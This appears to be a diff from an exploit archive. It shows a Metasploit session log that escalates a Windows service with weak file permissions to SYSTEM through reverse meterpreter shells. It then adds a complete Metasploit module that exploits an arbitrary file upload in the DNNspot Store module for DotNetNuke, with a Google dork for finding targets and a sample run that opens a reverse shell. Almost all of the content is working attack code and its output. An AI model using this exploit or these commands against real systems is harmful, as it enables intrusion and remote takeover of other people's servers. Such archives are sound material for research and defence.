C:\Program Files\IBackupWindows\ib_service.exe Everyone:(I)(F)
|
||||||
|
NT AUTHORITY\SYSTEM:(I)(F)
|
||||||
|
BUILTIN\Administrators:(I)(F)
|
||||||
|
BUILTIN\Users:(I)(RX)
|
||||||
|
|
||||||
|
Successfully processed 1 files; Failed processing 0 files
|
||||||
|
|
||||||
|
|
||||||
|
C:\Users\0x414141>sc qc IBService
|
||||||
|
[SC] QueryServiceConfig SUCCESS
|
||||||
|
|
||||||
|
SERVICE_NAME: IBService
|
||||||
|
TYPE : 10 WIN32_OWN_PROCESS
|
||||||
|
START_TYPE : 2 AUTO_START
|
||||||
|
ERROR_CONTROL : 1 NORMAL
|
||||||
|
BINARY_PATH_NAME : "C:\Program Files\IBackupWindows\ib_service.exe"
|
||||||
|
LOAD_ORDER_GROUP :
|
||||||
|
TAG : 0
|
||||||
|
DISPLAY_NAME : IBackup Service
|
||||||
|
DEPENDENCIES :
|
||||||
|
SERVICE_START_NAME : LocalSystem
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
msf exploit(service_permissions) > sessions
|
||||||
|
|
||||||
|
Active sessions
|
||||||
|
===============
|
||||||
|
|
||||||
|
Id Type Information Connection
|
||||||
|
-- ---- ----------- ----------
|
||||||
|
1 meterpreter x86/win32 0x414141-PC\0x414141 @ 0x414141-PC 192.168.0.100:8443 -> 192.168.0.102:1158 (192.168.0.102)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
msf exploit(service_permissions) > show options
|
||||||
|
|
||||||
|
Module options (exploit/windows/local/service_permissions):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
AGGRESSIVE true no Exploit as many services as possible (dangerous)
|
||||||
|
SESSION 1 yes The session to run this module on.
|
||||||
|
|
||||||
|
|
||||||
|
Payload options (windows/meterpreter/reverse_tcp):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none)
|
||||||
|
LHOST 192.168.0.100 yes The listen address
|
||||||
|
LPORT 4444 yes The listen port
|
||||||
|
|
||||||
|
|
||||||
|
Exploit target:
|
||||||
|
|
||||||
|
Id Name
|
||||||
|
-- ----
|
||||||
|
0 Automatic
|
||||||
|
|
||||||
|
|
||||||
|
msf exploit(service_permissions) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse handler on 192.168.0.100:4444
|
||||||
|
[*] Meterpreter stager executable 15872 bytes long being uploaded..
|
||||||
|
[*] Trying to add a new service...
|
||||||
|
[*] No privs to create a service...
|
||||||
|
[*] Trying to find weak permissions in existing services..
|
||||||
|
[*] IBService has weak file permissions - C:\Program Files\IBackupWindows\ib_service.exe moved to C:\Program Files\IBackupWindows\ib_service.exe.bak and replaced.
|
||||||
|
[*] Restarting IBService
|
||||||
|
[*] Could not restart IBService. Wait for a reboot. (or force one yourself)
|
||||||
|
|
||||||
|
Upon Reboot or Service Restart
|
||||||
|
|
||||||
|
[*] Sending stage (770048 bytes) to 192.168.0.102
|
||||||
|
[*] Meterpreter session 2 opened (192.168.0.100:4444 -> 192.168.0.102:14852) at 2014-07-21 00:52:36 +0300
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: NT AUTHORITY\SYSTEM
|
||||||
|
meterpreter > background
|
||||||
|
[*] Backgrounding session 2...
|
||||||
|
|
||||||
|
msf exploit(service_permissions) > sessions -l
|
||||||
|
|
||||||
|
Active sessions
|
||||||
|
===============
|
||||||
|
|
||||||
|
Id Type Information Connection
|
||||||
|
-- ---- ----------- ----------
|
||||||
|
1 meterpreter x86/win32 0x414141-PC\0x414141 @ 0x414141-PC 192.168.0.100:8443 -> 192.168.0.102:1158 (192.168.0.102)
|
||||||
|
2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ 0x414141-PC 192.168.0.100:4444 -> 192.168.0.102:14852 (192.168.0.102)
|
||||||
|
|
||||||
|
|
||||||
111
platforms/windows/webapps/35039.rb
Executable file
111
platforms/windows/webapps/35039.rb
Executable file
|
|
@ -0,0 +1,111 @@
|
||||||
|
?# Exploit Title: DotNetNuke DNNspot Store (UploadifyHandler.ashx) <= 3.0.0 Arbitary File Upload
|
||||||
|
# Date: 23/01/2014
|
||||||
|
# Author: Glafkos Charalambous
|
||||||
|
# Version: 3.0.0
|
||||||
|
# Vendor: DNNspot
|
||||||
|
# Vendor URL: https://www.dnnspot.com
|
||||||
|
# Google Dork: inurl:/DesktopModules/DNNspot-Store/
|
||||||
|
#
|
||||||
|
# root@kali:~# msfcli exploit/windows/http/dnnspot_upload_exec payload=windows/shell/reverse_tcp LHOST=192.168.13.37 LPORT=31337 RHOST=192.168.31.33 RPORT=80 E
|
||||||
|
# [*] Initializing modules...
|
||||||
|
# payload => windows/shell/reverse_tcp
|
||||||
|
# LHOST => 192.168.13.37
|
||||||
|
# LPORT => 31337
|
||||||
|
# RHOST => 192.168.31.33
|
||||||
|
# [-] Handler failed to bind to 192.168.13.37:31337
|
||||||
|
# [*] Started reverse handler on 0.0.0.0:31337
|
||||||
|
# [*] 192.168.31.33:80 - Uploading payload...
|
||||||
|
# [*] 192.168.31.33:80 - Executing payload trrnegmv.aspx
|
||||||
|
# [*] Encoded stage with x86/shikata_ga_nai
|
||||||
|
# [*] Sending encoded stage (267 bytes) to 192.168.31.33
|
||||||
|
# [*] Command shell session 1 opened (192.168.13.37:31337 -> 192.168.31.33:56806) at 2014-08-28 20:56:23 +0300
|
||||||
|
# [+] Deleted trrnegmv.aspx
|
||||||
|
#
|
||||||
|
# Microsoft Windows [Version 6.2.9200]
|
||||||
|
# (c) 2012 Microsoft Corporation. All rights reserved.
|
||||||
|
#
|
||||||
|
# C:\Windows\SysWOW64\inetsrv>
|
||||||
|
#
|
||||||
|
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'DotNetNuke DNNspot Store (UploadifyHandler.ashx) <= 3.0.0 Arbitary File Upload',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an arbitrary file upload vulnerability found in DotNetNuke DNNspot Store
|
||||||
|
module versions below 3.0.0.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Glafkos Charalambous <glafkos.charalambous[at]unithreat.com>'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'http://metasploit.com' ]
|
||||||
|
],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Privileged' => false,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'DNNspot-Store / Windows', {} ],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Jul 21 2014'))
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri("DesktopModules/DNNspot-Store/Modules/Admin/UploadifyHandler.ashx")
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code == 200
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
@payload_name = "#{rand_text_alpha_lower(8)}.aspx"
|
||||||
|
exe = generate_payload_exe
|
||||||
|
aspx = Msf::Util::EXE.to_exe_aspx(exe)
|
||||||
|
post_data = Rex::MIME::Message.new
|
||||||
|
post_data.add_part(aspx, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
|
||||||
|
post_data.add_part("/DesktopModules/DNNspot-Store/ProductPhotos/", nil, nil, "form-data; name=\"folder\"")
|
||||||
|
post_data.add_part("1", nil, nil, "form-data; name=\"productId\"")
|
||||||
|
post_data.add_part("w00t", nil, nil, "form-data; name=\"type\"")
|
||||||
|
data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||||
|
|
||||||
|
print_status("#{peer} - Uploading payload...")
|
||||||
|
res = send_request_cgi({
|
||||||
|
"method" => "POST",
|
||||||
|
"uri" => normalize_uri("DesktopModules/DNNspot-Store/Modules/Admin/UploadifyHandler.ashx"),
|
||||||
|
"data" => data,
|
||||||
|
"ctype" => "multipart/form-data; boundary=#{post_data.bound}"
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res and res.code == 200
|
||||||
|
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
register_files_for_cleanup(@payload_name)
|
||||||
|
|
||||||
|
print_status("#{peer} - Executing payload #{@payload_name}")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri("/DesktopModules/DNNspot-Store/ProductPhotos/",@payload_name)
|
||||||
|
})
|
||||||
|
end
|
||||||
|
end
|
||||||
Loading…
Add table
Reference in a new issue